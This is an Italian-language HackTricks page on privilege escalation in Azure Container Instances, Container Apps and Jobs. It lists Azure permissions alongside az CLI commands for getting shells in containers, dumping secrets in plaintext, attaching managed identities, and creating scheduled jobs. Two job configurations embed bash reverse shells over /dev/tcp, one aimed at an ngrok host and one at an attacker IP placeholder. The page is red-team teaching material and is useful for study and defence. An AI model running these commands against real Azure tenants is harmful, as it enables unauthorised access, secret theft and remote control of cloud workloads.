Az - Azure Container Instances, Apps & Jobs Privesc

Reading time: 8 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Azure Container Instances, Apps & Jobs

Per ulteriori informazioni controlla:

Az - Container Instances, Apps & Jobs

ACI

Microsoft.ContainerInstance/containerGroups/read, Microsoft.ContainerInstance/containerGroups/containers/exec/action

Questi permessi consentono all'utente di eseguire un comando in un container in esecuzione. Questo può essere utilizzato per escalare i privilegi nel container se ha un'identità gestita allegata. Ovviamente, è anche possibile accedere al codice sorgente e a qualsiasi altra informazione sensibile memorizzata all'interno del container.

Ottenere una shell è semplice come:

bash
az container exec --name <container-name> --resource-group <res-group>  --exec-command '/bin/sh'

È anche possibile leggere l'output del container con:

bash
az container attach --name <container-name> --resource-group <res-group>

Oppure ottieni i log con:

bash
az container logs --name <container-name> --resource-group <res-group>

Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Queste autorizzazioni consentono di allegare un'identità gestita dall'utente a un gruppo di contenitori. Questo è molto utile per elevare i privilegi nel contenitore.

Per allegare un'identità gestita dall'utente a un gruppo di contenitori:

bash
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"

Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Queste autorizzazioni consentono di creare o aggiornare un gruppo di contenitori con un identità gestita dall'utente ad esso associata. Questo è molto utile per elevare i privilegi nel contenitore.

bash
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0

Inoltre, è possibile aggiornare un gruppo di contenitori esistente aggiungendo ad esempio l'argomento --command-line con una reverse shell.

ACA

Microsoft.App/containerApps/read, Microsoft.App/managedEnvironments/read, microsoft.app/containerapps/revisions/replicas, Microsoft.App/containerApps/revisions/read, Microsoft.App/containerApps/getAuthToken/action

Queste autorizzazioni consentono all'utente di ottenere una shell in un contenitore di applicazione in esecuzione. Questo può essere utilizzato per escalare i privilegi nel contenitore se ha un'identità gestita associata. Ovviamente, è anche possibile accedere al codice sorgente e a qualsiasi altra informazione sensibile memorizzata all'interno del contenitore.

bash
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>

Microsoft.App/containerApps/listSecrets/action

Questo permesso consente di ottenere il testo in chiaro dei segreti configurati all'interno di un'app container. Si noti che i segreti possono essere configurati con il testo in chiaro o con un link a un key vault (in tal caso l'app avrà assegnata un'identità gestita con accesso ai segreti).

bash
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>

Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Queste autorizzazioni consentono di allegare un'identità gestita dall'utente a un'app container. Questo è molto utile per elevare i privilegi nel container. Eseguire questa azione dall'az cli richiede anche l'autorizzazione Microsoft.App/containerApps/listSecrets/action.

Per allegare un'identità gestita dall'utente a un gruppo di container:

bash
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName

Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action

Queste autorizzazioni consentono di creare o aggiornare un contenitore di applicazione con un identità gestita dall'utente ad esso associata. Questo è molto utile per elevare i privilegi nel contenitore.

bash
# Get environments
az containerapp env list --resource-group Resource_Group_1

# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"

tip

Nota che con queste autorizzazioni altre configurazioni dell'app possono essere modificate, il che potrebbe consentire di eseguire altre attacchi di privesc e post exploitation a seconda della configurazione delle app esistenti.

Jobs

Microsoft.App/jobs/read, Microsoft.App/jobs/write

Sebbene i job non siano a lungo termine come le app container, puoi sfruttare la possibilità di sovrascrivere la configurazione del comando del job all'avvio di un'esecuzione. Creando un modello di job personalizzato (ad esempio, sostituendo il comando predefinito con una reverse shell), puoi ottenere accesso alla shell all'interno del container che esegue il job.

bash
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml

# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container’s command to:
#  - args:
#      - -c
#      - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
#      command:
#      - /bin/bash
#      image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest

# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml

# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml

Microsoft.App/jobs/read, Microsoft.App/jobs/listSecrets/action

Se hai questi permessi, puoi elencare tutti i segreti (primo permesso) all'interno di un contenitore Job e poi leggere i valori dei segreti configurati.

bash
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>

Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/jobs/write

Se hai il permesso di modificare la configurazione di un lavoro, puoi allegare un'identità gestita assegnata dall'utente. Questa identità potrebbe avere privilegi aggiuntivi (ad esempio, accesso ad altre risorse o segreti) che possono essere sfruttati per elevare i privilegi all'interno del contenitore.

bash
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>

Microsoft.App/managedEnvironments/read, Microsoft.App/jobs/write, Microsoft.App/managedEnvironments/join/action, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Se puoi creare un nuovo Container Apps Job (o aggiornare uno esistente) e allegare un'identità gestita, puoi progettare il lavoro per eseguire un payload che escalda i privilegi. Ad esempio, potresti creare un nuovo lavoro che non solo esegue una reverse shell ma utilizza anche le credenziali dell'identità gestita per richiedere token o accedere ad altre risorse.

bash
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"

tip

Questo comando genererà un errore se non hai il permesso Microsoft.App/jobs/read, anche se il Job verrà creato.

microsoft.app/jobs/start/action, microsoft.app/jobs/read

Sembra che con questi permessi dovrebbe essere possibile avviare un job. Questo potrebbe essere utilizzato per avviare un job con una reverse shell o qualsiasi altro comando malevolo senza dover modificare la configurazione del job.

Non sono riuscito a farlo funzionare, ma secondo i parametri consentiti dovrebbe essere possibile.

Microsoft.ContainerInstance/containerGroups/restart/action

Consente di riavviare un gruppo di contenitori specifico all'interno di Azure Container Instances.

bash
az container restart --resource-group <resource-group> --name <container-instances>

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks